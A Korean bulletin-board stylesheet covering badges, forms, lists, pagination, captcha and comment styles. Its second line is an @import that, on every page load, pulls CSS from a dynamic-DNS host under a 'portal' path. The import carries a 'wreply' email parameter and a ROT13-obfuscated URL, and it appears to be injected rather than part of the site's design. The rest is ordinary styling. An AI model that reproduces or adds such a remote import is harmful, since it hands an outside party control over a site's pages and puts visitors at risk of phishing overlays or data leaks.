@charset "UTF-8";
@import url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxbfgng.tb.xe%2Swdhrel%2Spff%2Shv.nyy.pff');

/*-------------------------------------------------
title       :	게시판 공통
Create date :	2021-06-09
-------------------------------------------------*/

/*상태*/
.state{color:#fff; display:inline-block; border-radius:100rem; font-size:1.4rem; padding:0 1.5rem; line-height:2.2}
.state[data-label="예약가능"] {background-color:#2d60ab}
.state[data-label="접수중"] {background-color:#4cab6d}/*#C6492A 빨강*/
.state[data-label="접수"],
.state[data-label="예약접수"] {background-color:#04a39e}

.state[data-label="대기"],
.state[data-label="접수예정"],
.state[data-label="진행중"],
.state[data-label="완료"],
.state[data-label="예약완료"] {background-color:#999}

.state[data-label="예약마감"],
.state[data-label="접수마감"],
.state[data-label="종료"]{background-color:#333}
.state[data-label="예약취소"] {background-color:#db4010}

/*파일 삭제 버튼*/
a.btn_del {display:inline-block; width:3rem; height:3rem; overflow:hidden; text-align:center; line-height:1.5; vertical-align:top}
a.btn_del:before {content:''; color:#999; display:inline-block; font-family:'xeicon'; font-size:2.5rem; width:100%; height:100%; }

/*검색결과, 필수값*/
.point,
.point1 {color:#f8991d}

/*목록에서 수정 버튼*/
.btn.modify {width:2rem; height:2rem; overflow:hidden}
.btn.modify i {display:block; width:100%; height:100%}

/* colgroup col 값 */
.w5 {width: 5rem !important;}
.w8 {width: 8rem !important;}
.w10 {width: 10rem !important;}
.w12 {width: 12rem !important;}
.w15 {width: 15rem !important;}

/*비밀번호 확인*/
.pass-check {background-color:#f8f8f8; border-radius:1rem; margin:0 auto; padding:3.5rem 1rem 5rem; position:relative; text-align:center; z-index:1; word-break:keep-all}
.pass-check .title {font-size:4rem; font-weight:600}
.pass-check .desc {color:#333; font-size:1.5rem; line-height:1.6; margin:0 auto; max-width:50rem; word-break:keep-all}
.pass-check .desc span {color:#006bb7}

.pass-check .input-box {width:80%; margin:2.5rem auto 0}
.pass-check .input-box .form_textbox {width:100%}

.pass-check .form {display:table; width:calc(80% + 1rem); max-width:41rem; table-layout:fixed; margin:4rem auto 0}
.pass-check .form .btn {display:table-cell; font-size:1.5rem; width:calc(100% - 6rem); height:5rem; line-height:5rem; margin:0 auto; padding:0 .5rem; vertical-align:middle}
.pass-check .form .btn button {border-radius:.3rem; background-color:#2c3b66; color:#fff; display:block; width:100%; height:100%}
.pass-check .form .btn.type1 button {background-color:#fff; border:1px solid #2c3b66; color:#2c3b66}

/*답변 부분*/
.answer {background-color:#77bc64; border-radius:.3rem; color:#fff; font-size:1.2rem; padding:.2rem .5rem .3rem; display:inline-block; margin-left:.5rem} /*제목에 답변완료 아이콘*/

/*답변*/
.answer-box {border:1px solid #ddd; border-radius:.5rem; padding:2rem 2rem 1.5rem; margin:3rem 0 0 0; position:relative}
.answer-box .a {display:inline-block; font-size:1.3rem; color:#fff; width:4rem; height:4rem; text-align:center; position:relative; line-height: 3.2}
.answer-box .a:after {content:''; background-color:#2c3b66; border-radius:100%; position:absolute; left:0; top:0; width:100%; height:100%; z-index:-1}
.answer-box .info {display:inline-block; margin-left:1rem}
.answer-box .info li {display:inline-block; font-size:1.5rem; margin-right:1rem}
.answer-box .info li strong {color:#777; font-weight:normal; margin-right:.5rem}
.answer-box .contents {background-color:#f7f7f7; border-radius:.5rem; font-size:1.5rem; padding:1rem 2rem; margin:1rem 0 0}
.answer-box .btn {color:#666; font-size:1.3rem; position:absolute; right:2rem; top:3.5rem}
.answer-box .btn:hover {color:#f15321}

/* 답변 내용 파일 */
.answer-box .file {position:relative; line-height:0}
.answer-box .file .title {display:inline-block; vertical-align:top; width:14.5rem; font-weight:500; color:#333; text-align:center}
.answer-box .file .list {display:inline-block; width:100%}
.answer-box .file .list img {width:2.5rem; margin-right:0.5rem}
.answer-box .file .list li {overflow:hidden; position:relative; min-height:3rem; padding-right:21rem; text-overflow:ellipsis; white-space:nowrap}
.answer-box .file .list li:first-child {margin-top:1.5rem}
.answer-box .file .list li + li {margin-top:0.5rem;}
.answer-box .file .list li > a {color:#444; -webkit-transition:all 0.2s; transition:all 0.2s}
.answer-box .file .list li > a:hover, .answer-box .file .list li > a:focus {color:#116eb4}
.answer-box .file .list .link {position:absolute; right:0; top:0}
.answer-box .file .list .txt {font-size:1.2rem; color:#999}

/*답변 만족도 평가*/
.reply-satisfy {margin:4rem 0 5rem}
.reply-satisfy .title {color:#2c3b66; display:block; margin-bottom:1rem}
.reply-satisfy .table {margin-bottom:3rem}
.reply-satisfy .table table thead th {padding:1.5rem 0.5rem 1.4rem}
.reply-satisfy .table table tbody > tr > th {text-align:left}
.reply-satisfy .form_radio {width:1.5rem; height:1.5rem; vertical-align:inherit}
.reply-satisfy .form_radio label {font-size:0; padding-left:1.5rem}
.reply-satisfy .form_radio label::before {top:0}
.reply-satisfy .form_radio label::after {top:0.5rem}

@media (max-width:767px){
	.answer-box .info li {font-size:1.4rem}
	.answer-box .contents {font-size:1.4rem}
}
@media (max-width:540px) {
    .answer-box .file .list li {padding:0}
    .answer-box .file .list .link {position:relative; right:auto; left:0; display:block; margin-top:.5rem}
    .answer-box .file .list .txt {display:none}
}


/*board 기본 틀*/
._blank {padding:10rem 0; text-align:center; width:100%} /*내용없음*/
.board-list { overflow: hidden; border-top: 2px solid #555; border-bottom: 1px solid #aaa; }
.board-list table { width: 100%; margin-bottom: -1px; table-layout:fixed}
.board-list .tstyle_write {table-layout:inherit}
.board-list .comment { font-size: 1.2rem; font-weight: 300; color: red; }
.board-list tr:hover {background-color:#F8F9FA}

/*board 웹진*/
.board-list.type02 {border-top:2px solid #000}
.board-list.type02 > ul {display:block; width:100%}
.board-list.type02 > ul > li {border-bottom:1px solid #ddd; clear:both; overflow:hidden; padding:4rem 0; position:relative; width:100%; min-height:34rem}
.board-list.type02 > ul .thum {float:left; position:relative; width:23rem; height:24rem; overflow:hidden}
.board-list.type02 > ul .thum img {border:1px solid #ccc; display:block; overflow:hidden; width:100%; height:100%}
.board-list.type02 > ul .txt {float:right; width:calc(100% - 27rem); position:relative; padding-right:15%}
.board-list.type02 > ul .txt .state {display:inline-block; vertical-align:middle; margin-right:1rem}
.board-list.type02 > ul .txt li {display:table; table-layout:fixed; width:100%; padding:0.2rem 0}
.board-list.type02 > ul .txt li > strong {color:#999; font-weight:normal; display:table-cell; width:13rem; padding-right:1rem; vertical-align:top}
.board-list.type02 > ul .txt li > span {display:table-cell; vertical-align:top}
.board-list.type02 > ul .txt .tt {display:block; font-size:2.2rem; margin-bottom:1rem}
.board-list.type02 > ul .txt .tt strong {font-size:2rem; overflow:hidden; text-overflow:ellipsis; white-space:nowrap; display:inline-block; font-weight:600; color:#222; width:80%; vertical-align:middle}
.board-list.type02 > ul .btn-more {background-color:#3f65b6; color: #fff; font-size:1.5rem; padding:1rem 2rem; position:absolute; right:2rem; top:50%; transform:translateY(-50%)}
.board-list.type02 .nodata {text-align:center}

/*임대현황*/
.board-view.map #map {border-radius:0.5rem; overflow:hidden}
.board-view.map .flex-box {margin:4rem 0}
.board-view.map .flex-box .title {background-color:#2c3b66; border-radius:100rem; color:#fff; font-size:1.6rem; font-weight:500; padding:0.2rem 1.5rem}
.board-view.map .flex-box .title i {width:auto; height:auto; background-color:transparent; display:inline-block; padding-top:0; margin:0 0.5rem 0 0}

.board_view.type02 .head{border:1px solid #ddd; border-top:0; clear:both; overflow:hidden; padding:5rem}
.board_view.type02 .head .thum {float:left; position:relative; width:23rem; height:24rem; overflow:hidden}
.board_view.type02 .head .thum img{border:1px solid #ccc; display:block; overflow:hidden; width:100%; height:100%}
.board_view.type02 .head .txt{float:right; width:calc(100% - 27rem); position:relative; padding-right:15%}
.board_view.type02 .head th {color:#999; font-weight:normal; text-align:left}
.board_view.type02 .con {border-bottom:1px solid #ddd; padding:5rem 0}

@media screen and (max-width:1023px) {
	.board-list.type02 > ul .txt {padding-right:0}
	.board-list.type02 > ul .txt li > strong {width:10rem}
	.board-list.type02 > ul .btn-more {position:relative; right:auto; top:auto; transform:inherit; margin-top:3rem; display:inline-block}

	.board_view.type02 .head .txt {padding-right:0}


	/*민원신청 한줄에 두개 문항이 있음으로 기존보다 빠르게 반응형으로 변경*/
	.board-form.voc colgroup {display:none}
	.board-form.voc tr {display:block; padding:1rem}
	.board-form.voc th {color:#afafaf; font-size:1.3rem; display:block; line-height:inherit; padding:0}
	.board-form.voc td {color:#000; display:block; padding:0; margin-top:0.3rem; min-height:2.7rem}
	.board-form.voc td .i-info.diInB {height:auto; line-height:1.4; margin-top:1rem}
	.board-form.voc td + th {margin-top:1rem; padding-top:1rem; position:relative}
	.board-form.voc td + th:before {content:''; background:#ddd; width:calc(100% + 2rem); height:1px; position:absolute; top:0; left:-1rem}
}

@media screen and (max-width:767px) {
	.board_view.type02 .head th {width:25%}
}

@media screen and (max-width:640px) {
	.board-list.type02 > ul .thum {width:100%; margin-bottom:2rem}
	.board-list.type02 > ul .txt {width:100%}
	.board-list.type02 > ul .btn-more {width:100%; margin-top:2rem; text-align:center}

	.board_view.type02 .head {padding:3rem}
	.board_view.type02 .head .thum {width:100%; margin-bottom:2rem}
	.board_view.type02 .head .txt {width:100%; font-size:1.4rem}
}

/*board 폼*/
.board-form {border-top:2px solid #555; border-bottom:1px solid #aaa; overflow:hidden}
.board-form table {width:100%; table-layout:fixed}
.board-form tr {border-bottom:1px solid #ddd}
.board-form tr:last-child {border-bottom:0}
.board-form th {color:#333; font-size:1.5rem; font-weight:500; line-height:1.4; padding:1rem; text-align:left}
.board-form td {font-size:1.5rem; padding:1rem; text-align:left; word-break:keep-all}
.board-form td .i-info.diInB {height:4rem; line-height:4rem; margin-left:1rem}

/* 게시판 내용 파일 */
.board-form .file {position:relative; padding:1rem 0}
.board-form .file .title {display:inline-block; vertical-align:top; line-height:4rem; width:14.5rem; font-weight:500; color:#333; text-align:center}
.board-form .file .list {display:inline-block; width:100%}
.board-form .file .list img {width:2.5rem; margin-right:0.5rem}
.board-form .file .list li {position:relative; /*{overflow:hidden;  min-height:3rem;*/ line-height:1.4; padding:.3rem 21rem .3rem 0}
.board-form .file .list li + li {margin-top:0.5rem;}
.board-form .file .list li > a {color:#444; -webkit-transition:all 0.2s; transition:all 0.2s}
.board-form .file .list li > a:hover, .board-form .file .list li > a:focus {color:#116eb4}
.board-form .file .list .link {position:absolute; right:0; top:0}
.board-form .file .list .txt {font-size:1.2rem; color:#999}


@media screen and (max-width:640px) {

	.board-form colgroup {display:none}
	.board-form tr {display:block; padding:1rem}
	.board-form th {color:#afafaf; font-size:1.3rem; display:block; line-height:inherit; padding:0}
	.board-form td {color:#000; display:block; padding:0; margin-top:0.3rem; min-height:2.7rem}
	.board-form td .i-info.diInB {height:auto; line-height:1.4; margin-top:1rem}
	.board-form .form_select {width:100%}
	.board-form .form_textbox {width:100%}
}

.board-list .tstyle_write .addr .button {display:inline-block}
.board-list .tstyle_write .addr .button a, .board-list .tstyle_write .addr .button button {background-color:#303b50; border-color:#303b50; border-radius:0; padding:0.8rem 2rem; height:4rem}
.board-list .tstyle_write .addr .button + input {margin:2px 0}

.board-list + .kogl_open { margin-top: 4rem; }

/*board 버튼*/
.board_btns { margin-top: 3rem; text-align: center; }
.board_btns .txt { margin: -2rem 0 1rem; font-size: 1.5rem; color: #999; text-align: left; }
.board_btns .btn { height: 4.5rem; background-color:#006bb7; border-radius:0.3rem; color:#fff; display: inline-block; font-size: 1.4rem; font-weight: normal; line-height:2.8; margin: 0 0.25rem; min-width: 10.5rem; overflow: hidden; padding: 0 2rem; text-align: center; vertical-align:top; -webkit-transition: all 0.2s; transition: all 0.2s}
.board_btns .btn:focus {border:1px dotted #000}
.board_btns .btn.type1 { border: 1px solid #006bb7; background-color: #fff; color:#006bb7}
.board_btns .btn:hover {box-shadow:0 0 30px rgba(44,59,102,0.2)}

.btn_line { height: 2.8rem; border: 1px solid #999; line-height: 2.6rem; font-size: 1.2rem; display: inline-block; min-width: 8.5rem; padding: 0 1rem; background-color: #fff; color: #333; text-align: center; vertical-align: middle; -webkit-transition: all 0.2s; transition: all 0.2s; transition: all 0.2s; }
.btn_line:hover, .btn_line:focus { border-color: #333; background-color: #333; color: #fff; }
.btn_line i { font-size: 1.5rem; margin-left: 0.5rem; vertical-align:-0.2rem}


@media (max-width:1023px)
{

	/*board 기본 틀*/
    .board-list .tstyle_write th { display: block; padding:0 !important; border-bottom: 0 none; }
    .board-list .tstyle_write .file th::after { display: block; margin-bottom: 1rem; font-size: 1.5rem; font-weight: 300; color: #555; content: 'hwp,xls,doc,ppt,pdf,zip,jpg,gif,png 파일만, 5MB까지 업로드가 가능합니다.'; line-height: 1.2; }
    .board-list .tstyle_write .file .form_file .txt { color: transparent; }
    .board-list .tstyle_write .file .form_file .txt.active { color: #555; }
    .board-list .tstyle_write .file + .file { padding-top: 0; }
    .board-list .tstyle_write .file + .file th { display: none; }
    .board-list .tstyle_write .file:last-child { padding-bottom: 1.5rem; }
    .board-list .tstyle_write .form_radio label::before, .board-list .tstyle_write .form_radio label::after, .board-list .tstyle_write .form_check label::before, .board-list .tstyle_write .form_check label::after { margin-top: -0.2rem; }

	/*board 버튼*/
	.board_btns .btn { min-width: 0 !important; }
}


@media (max-width: 580px)
{
    /*board 기본 틀*/
    .board-list .tstyle_write .form_mail .form_textbox { display: block; width: 100%; }
    .board-list .tstyle_write .form_mail .form_textbox + .form_textbox { float: right; width: calc(100% - 2rem); margin: 0.25rem 0; }
    .board-list .tstyle_write .form_mail .form_select { display: block; clear: both; width: 100%; }

    .board_btns .btn {font-size:1.2rem; padding:0 1rem}
}

/* 게시판 상단 */
.board_info {line-height:4rem; position:relative}
.board_info:after {content:''; clear:both; display:block; overflow:hidden}
.board_info + * {margin-top:2rem;}

/* 게시판 목록 페이지 수 */
.board_info .page {float:left; font-size:1.4rem}
.board_info .page span {display:inline-block; vertical-align:top}
.board_info .page span + span::before {display:inline-block; width:1px; height:1.5rem; margin:0 1rem 0 0.5rem; background-color:#ddd; content:''; vertical-align:middle}
.board_info .page strong, .board_info .page b {font-weight:500; color:#000}

/* 게시판 목록 정렬  */
.board_info .list-type {position:absolute; right:0}
.board_info .list-type a {font-size:1.4rem; margin-left:1rem; position:relative}
.board_info .list-type a.active {color:rgba(0,160,92,1)}
.board_info .list-type a.active:after {content:''; background-color:rgba(0,160,92,0.2); position:absolute; left:0; bottom:-2px; width:100%; height:1rem}
.board_info .list-type a.active:before {content:''; color:rgba(0,160,92,1); font-family:'xeicon'}
.board_info .list-type:before {content:none !important}

/* 게시판 목록 검색 */
.board_info form {float:right}
.board_info .form {display:table; table-layout:fixed; font-size:1.5rem; width:auto}
.board_info .form > * {display:table-cell; padding-right:0.5rem; vertical-align:top}
.board_info .form .item.type1 {padding-right:0}
.board_info .form .btn-group {padding-right:0}
.board_info .form .btn-group .btn {display:table; width:100%}
.board_info .form .btn-group .btn span {display:table-cell; vertical-align:top}
.board_info .form .btn-group .btn span + span {padding-left:0.5rem}
.board_info .form .btn-group .btn span:last-child {padding-left:0}
.board_info .form .btn button {min-width:6.5rem; width:100%; height:4rem; border:1px solid #2c3b66; background-color:#2c3b66; color:#fff; display:inline-block; font-size:1.4rem; font-weight:normal; text-align:center; transition:all .2s; vertical-align:top}
.board_info .form .btn button:hover,
.board_info .form .btn button:focus {box-shadow:0 0 3rem rgba(44,59,102,0.2)}
.board_info .form .btn .btn-write {background-color:#006bb7; border:1px solid #006bb7; border-radius:0.3rem; width:9rem; margin-left:0.5rem}
.board_info .form .form_select {width:100%;}
.board_info .form_textbox { width: 100%; height: 4rem; font-size:1.4rem; max-height: 100%; padding: 0 1rem; border: 1px solid #ddd; text-align: left; vertical-align: top}
.board_info .form_textbox:focus { border-color: #000; }
.board_info .form_textbox.hasDatepicker { width: 20rem; padding-right: 5rem; }
.board_info .form_textbox.hasDatepicker + .ui-datepicker-trigger { position: absolute; left: auto; top: auto; width: 3rem; margin: 0.6rem 0 0 -4rem; }
.board_info .form_textbox.number { width: 15rem; vertical-align:middle}
.board_info .form #news_day_form > span {width:46%; display:inline-block; vertical-align:top}

.board_info .form .item + * {margin:0.1rem 0; font-size:1.4rem}

/*검색 카테고리 많을 때*/
.multi-search {border:1px solid #e9e9e9; border-radius:.5rem; background-color:#f7f8fa; padding:2rem; margin-bottom:3rem}
.multi-search .form {width:100%}
.multi-search .form p {width:20%}
.multi-search .form .btn button {width:100% !important; min-width:8.5rem}
.multi-search .page {clear:both; float:none; line-height:normal}
.multi-search .page .list-type:before {content:none}

.form_multi {display:table; table-layout:fixed; font-size:1.5rem; width:100%; padding-right:10rem}
.form_multi > *{display:table-cell !important; padding-right:0.5rem; vertical-align:top; margin:0.1rem 0}
.form_multi .unicode{font-size:14px; width:2rem; text-align:center; line-height:2.6; white-space:nowrap}
.form_multi .form_select {min-width:10rem; width:auto}
.form_multi > .select .form_select {width:100%}


/* 게시판 목록 검색 상단 100% */
.board_info.type02 .form {background-color:#f5f5f5; border:1px solid #ddd; border-radius:.5rem; margin-bottom:2rem; padding:2rem; width:100%}

/* 게시판 목록 검색 상단 table-cell이 아닌 blcok 속성*/
.board_info .form.type-block > * {display:block; padding-right:0; width:100% !important}

/*select가 여러개일 때*/
.board_info .select-group03 .form_select {width:19.6%; margin:0.1rem 0}
.board_info .form.type-block .select-group {display:table; table-layout:fixed; width:100%}
.board_info .form.type-block .select-group .form_select {display:table-cell}

/* 게시판 목록 검색 버튼 2개 */
.board_info .form .item.btn02 .item {display:inline-block; width:calc(100% - 26.8rem); vertical-align:middle}
.board_info .form .item.btn02 .item.btn {width:13rem}

/* 게시판 목록 RSS */
.board_info .icon_rss {display:inline-block; width:2.5rem; height:2.5rem; margin-left:0.5rem; font-size:2rem; text-align:center; line-height:2.5rem; vertical-align:middle}
.board_info .icon_rss::before {display:block; width:100%; height:100%; font-family:'xeicon'; color:#ee802f; content:''}

/* 게시판 페이징 */
* + .board_pager {margin-top:4rem}
.board_pager {font-size:1.5rem; text-align:center}
.board_pager a {border:2px solid transparent; display:inline-block; overflow:hidden; width:4rem; height:4rem; border-radius:100%; text-align:center; line-height:3.8rem; vertical-align:top}
.board_pager a.arr {border:1px solid #ddd}
.board_pager a.arr::before {display:block; width:100%; height:100%; font-family:"xeicon"; text-align:center; line-height:inherit}
.board_pager a.arr.first::before {content:""}
.board_pager a.arr.prev::before {content:""}
.board_pager a.arr.next::before {content:""}
.board_pager a.arr.last::before {content:""}
.board_pager a.arr.first, .board_pager a.arr.last {text-indent:-1.2rem; letter-spacing:-1.2rem}
.board_pager a.active {border-color:#77bc64; color:#2c3b66}
.board_pager .group {margin:0 0.5rem}
.board_pager .group a:last-child {display:none;}

/* 게시판 목록 */
.board-list thead th {font-size:1.5rem; padding:1rem; border-bottom:1px solid #aaa; font-weight:500; color:#222; text-align:center; white-space:nowrap}
.board-list tbody th {border-bottom:1px solid #ddd}
.board-list td {font-size:1.5rem; padding:1rem; border-bottom:1px solid #ddd; color:#666; text-align:center; line-height:1.2; height:5rem; word-break:keep-all}
.board-list tbody tr:last-child td {border-bottom:0}
.board-list td[aria-label="제목"] {color:#000; font-weight: 500; text-align:left} /*민원신청 제목 부분 가운데 정렬로 인하여 추가*/
.board-list td[aria-label="사업명"] a,
.board-list td[aria-label="제목"] a {font-size:1.5rem; display:inline-block; max-width:100%; color:#000; vertical-align:middle; position:relative; white-space:nowrap; text-overflow:ellipsis; width:calc(100% - 2.5rem); overflow:hidden}
.board-list td[aria-label="사업명"] a:hover,
.board-list td[aria-label="제목"] a:hover,
.board-list td[aria-label="명칭"] a:hover {color:#006bb7}
.board-list td a {color:#000; font-weight:500}
.board-list td[aria-label="첨부파일"] img {width:2.5rem; margin-left:0.2rem}
.board-list td[aria-label="링크"] {white-space:normal; word-break:break-all}

/* 게시판 목록 아이콘 */
.board-list .xi-new {font-size:1.8rem; vertical-align:-1px; color:#f8991d}
.board-list .xi-lock {display:inline-block; position:relative; top:0; font-size:2rem; color:#222; vertical-align:middle}

/* 게시판 목록 상태 아이콘 */
.board-list .icon {display:inline-block; min-width:8rem; height:2.75rem; padding:0 1rem; border-radius:100rem; background-color:#eee; font-size:1.5rem; color:#333; text-align:center; line-height:2.75rem}
.board-list .icon[data-label="처리완료"] {background-color:#000; color:#fff;}
.board-list .icon[data-label="답변완료"] {background-color:#777; color:#fff;}
.board-list .icon[data-label="진행중"] {background-color:#116eb4; color:#fff;}
.board-list .icon_notice {display:inline-block; width:3.5rem; height:3.5rem; line-height:3.5rem; border-radius:100%; background-color:#343f5b; font-size:1.3rem; color:#fff; text-align:center; vertical-align:middle}
.board-list .tr-notice {background-color:#f3f4f7}

/* 글쓰기 */
.board-list .tstyle_write th { font-size: 1.6rem; padding: 1rem; border-bottom: 1px solid #ddd; font-weight: 600; color: #333; text-align: left; line-height: 4rem; }
.board-list .tstyle_write td {text-align:left}
.board-list .tstyle_write .point1 { color: #c00; }

.board-list .tstyle_write .form_radio label::before, .board-list .tstyle_write .form_radio label::after, .board-list .tstyle_write .form_check label::before, .board-list .tstyle_write .form_check label::after { margin-top: 0.5rem; }
.board-list .tstyle_write .form_textbox#m_id { width: calc(100% - 11rem); }

.board-list .tstyle_write .file th, .board-list .tstyle_write .file td { padding-bottom: 0.5rem; border-bottom: 0 none; }
.board-list .tstyle_write .file img { width: 2.5rem; margin-right: 0.5rem; }
.board-list .tstyle_write .file.active th, .board-list .tstyle_write .file.active td { padding-top: 1rem; line-height: 3.5rem; }
.board-list .tstyle_write .file + .file th, .board-list .tstyle_write .file + .file td { padding-top: 0; }
.board-list .tstyle_write .file + .file label { opacity: 0; }
.board-list .tstyle_write .file:last-child th, .board-list .tstyle_write .file:last-child td { padding-bottom: 1rem; }
.board-list .tstyle_write .file .btn_del, .board-list .tstyle_write .file_img .btn_del { font-size: 2rem; display: inline-block; overflow: hidden; width: 2rem; height: 2rem; color: #888; text-align: center; line-height: 2rem; vertical-align: middle; -webkit-transition: all 0.2s; transition: all 0.2s; }
.board-list .tstyle_write .file .btn_del::before, .board-list .tstyle_write .file_img .btn_del::before { display: block; width: 100%; height: 100%; font-family: "xeicon"; text-align: center; line-height: inherit; content: ''; }
.board-list .tstyle_write .file .btn_del:hover, .board-list .tstyle_write .file .btn_del:focus, .board-list .tstyle_write .file_img .btn_del:hover, .board-list .tstyle_write .file_img .btn_del:focus { color: #116eb4; }

/*자동입력방지
.captcha .num {display:inline-block; vertical-align:top}
.captcha .desc {display:inline-block; vertical-align:top}
.captcha .desc .btn {height:2rem; line-height:1}
.captcha .desc input {margin-top:-8px}*/

/*자동입력방지*/
.captcha {clear:both; overflow:hidden}
.captcha .img {display:inline-block; float:left; height:6rem; margin-right:1rem; vertical-align:middle; width:15rem}
.captcha .img img {display:block; width:100%; height:100%}
.captcha .desc {display:block; float:left; height:3rem; width:calc(100% - 16rem)}
.captcha .desc > div {height:3rem}
.captcha .desc button {background-color:#7c7c7c; border-radius:.2rem; color:#fff; font-size:1.3rem; padding:0.3rem 1rem 0.3rem 0.5rem; border:none; display:inline-block; vertical-align:top; height:2.5rem; line-height:1}
.captcha .desc button i {vertical-align:-1px; margin-right:3px}
.captcha .desc input {border:1px solid #ddd; padding:0 1rem; height:3rem; display:block; float:left}
@media (max-width:640px) {
	.captcha .img {width:12rem; margin-right:0.5rem; height:7rem}
	.captcha .desc {width:calc(100% - 12.5rem)}
	.captcha .desc button {font-size:1.2rem; padding:0.3rem 0.5rem}
}

/*게시판 비밀번호 확인*/
#questPW {text-align:center}


/* 게시판 내용 */
.board_view {border-top:2px solid #555}
.board_view > .title {font-size:2rem; padding:1.5rem 2rem; padding-bottom:0 !important; font-weight:600; color:#000; word-break:keep-all}
.board_view > .title .category {display:block; font-size:1.6rem; color:#999}
.board_view > .title .category::before {display:inline-block; position:relative; top:-0.2rem; width:1rem; height:1rem; margin-right:0.75rem; border-radius:100%; content:''; vertical-align:middle}
.board_view > .title .cateC01::before {background:#F6C375;}
.board_view > .title .cateC02::before {background:#DF7373;}
.board_view .info {padding:0 2rem 1.5rem; border-bottom:1px solid #ddd; /* background-color:#f8f9fa; */ color:#666}
.board_view .info li {display:inline-block; font-size:1.4rem; vertical-align:top}
.board_view .info li + li::before {display:inline-block; position:relative; top:-1px; width:1px; height:1.4rem; margin:0 1.5rem 0 1rem; background-color:#ddd; content:''; vertical-align:middle}
.board_view .info strong {margin-right:0.75rem; font-weight:400; color:#000}
.board_view .contents {padding:2rem; border-bottom:1px solid #ddd;  font-family:"Noto Sans KR", "Roboto" !important; min-height:30rem}
.board_view .contents .img {margin-top:2rem}
.board_view .contents .img + .img {margin-top:1rem}
.board_view .txt_center {margin-bottom:2rem}

/* 게시판 내용 파일 */
.board_view .file {position:relative; padding:1rem 0; border-bottom:1px solid #ddd; font-size:1.4rem}
.board_view .file .title {display:inline-block; vertical-align:top; line-height:4rem; width:14.5rem; font-weight:500; color:#333; text-align:center}
.board_view .file .list {display:inline-block; width:calc(100% - 15rem); padding-top:0.9rem}
.board_view .file .list img {width:2.5rem; margin-right:0.5rem}
.board_view .file .list li {overflow:hidden; position:relative; min-height:3rem; padding-right:21rem; line-height:1.6}
.board_view .file .list li + li {margin-top:0.5rem;}
.board_view .file .list li > a {color:#444; -webkit-transition:all 0.2s; transition:all 0.2s}
.board_view .file .list li > a:hover, .board_view .file .list li > a:focus {color:#116eb4}
.board_view .file .list .link {position:absolute; right:0; top:0}
.board_view .file .list .txt {font-size:1.2rem; color:#999}

/* 게시판 이전글 다음글 */
.prevnext {margin-top:4rem; border-bottom:1px solid #aaa}
.prevnext li {overflow:hidden; padding:2rem 0; border-top:1px solid #ddd; color:#333}
.prevnext li:before {display:none}
.prevnext li.next span::before {content:''}
.prevnext span {float:left; width:15rem; color:#666}
.prevnext span::before {display:inline-block; position:relative; top:1px; font-family:"xeicon"; vertical-align:top; font-size:1.5rem; float:left; width:5rem; content:''; text-align:center}
.prevnext a {overflow:hidden; text-overflow:ellipsis; white-space:nowrap; float:right; width:calc(100% - 15rem)}

/* 게시판 답변 */
.board_btns + .board_reply {margin-top:2rem; border-top:1px solid #aaa}
.board_reply {padding:2rem; border-bottom:1px solid #e8e8e8}
.board_reply .title {font-size:1.8rem; font-weight:600; color:#333}
.board_reply .info {font-size:1.5rem; margin:0.5rem 0 1rem; padding:1rem 1.5rem; background-color:#f8f8f8}
.board_reply .info li {display:none}
.board_reply .info li + li::before {display:inline-block; position:relative; top:-1px; width:1px; height:1.4rem; margin:0 1rem 0 0.75rem; background-color:#ddd; content:''; vertical-align:middle}
.board_reply .info li[class] {display:inline}
.board_reply .info strong {margin-right:0.5rem; font-weight:400; color:#333}
.board_reply .info:last-child {margin-bottom:0}
.board_reply .file {position:relative; margin:2rem -2rem -2rem; padding:1rem 2rem; border-top:1px solid #f8f8f8}
.board_reply .file .label {display:block; margin:0.5rem 0; font-weight:500; color:#333}
.board_reply .file .list img {width:2.5rem; margin-right:0.5rem}
.board_reply .file .list li {overflow:hidden; position:relative; min-height:3rem; padding:0 21rem 0 1.5rem; text-overflow:ellipsis; white-space:nowrap; line-height:3rem}
.board_reply .file .list li::before {position:absolute; left:0; top:auto; content:'-'}
.board_reply .file .list li > a {color:#444; -webkit-transition:all 0.2s; transition:all 0.2s}
.board_reply .file .list li > a:hover, .board_view .file .list li > a:focus {color:#116eb4}
.board_reply .file .list .link {position:absolute; right:0; top:0}
.board_reply .file .list .txt {font-size:1.2rem; color:#999}
.board_reply + .board_btns {margin-top:1rem;}

/* 게시판 답변 상황 */
.board_state {position:relative; margin-top:4rem; padding:1.5rem 1.5rem 1.5rem 7rem; border:1px solid #ddd; background-color:#f6f7f9}
.board_state::before {position:absolute; top:auto; left:auto; right:auto; font-family:"xeicon"; overflow:hidden; position:absolute; left:2rem; top:auto; width:3rem; height:3rem; border-radius:100%; background-color:#3c4165; font-size:1.8rem; font-weight:400; color:#fff; content:''; text-align:center}
.board_state li {display:inline}
.board_state li + li::before {display:inline-block; position:relative; top:-1px; width:1px; height:1.4rem; margin:0 0.75rem 0 1rem; background-color:#ddd; content:''; vertical-align:middle}
.board_state label {margin-right:0.5rem; font-weight:500; color:#000}
.board_state button {font-size:1.4rem; color:#116eb4}
.board_state .title {display:block; margin-bottom:0.5rem; color:#333; line-height:3rem}
.board_state .form {line-height:4rem}
.board_state .form ul {display:inline-block; margin-right:1rem; vertical-align:top}
.board_state .form_textbox,
.board_state .form_select select {width:15rem}
.board_state .btn {height:4rem; padding:0 1.5rem; border:0 none; background-color:#484c58; color:#fff; text-align:center; vertical-align:top}

/* 게시판 답변상황 아이콘 */
.board_state .icon {display:inline-block; position:relative; top:-1px; min-width:8rem; height:2.75rem; padding:0 1rem; border-radius:0.5rem; background-color:#eee; font-size:1.5rem; color:#333; text-align:center; line-height:2.75rem}
.board_state .icon[data-label="처리완료"],
.board_state .icon[data-label="답변완료"] {background-color:#555; color:#fff}
.board_state .icon[data-label="진행중"] {background-color:#116eb4; color:#fff}

/* 코멘트 */
* + .comment {margin-top:5rem}
.comment .form {position:relative; margin:0 0 5rem; padding-bottom:4.9rem; border:1px solid #ddd; background-color:#f8f9fa; color:#999}
.comment .form textarea {font-size:1.5rem; width:100% !important; max-width:100%; min-height:8.5rem; padding:1.5rem; border:0 none !important; vertical-align:top}
.comment .form .length {font-size:1.3rem; position:absolute; left:0; bottom:0; padding-left:2rem; line-height:5rem}
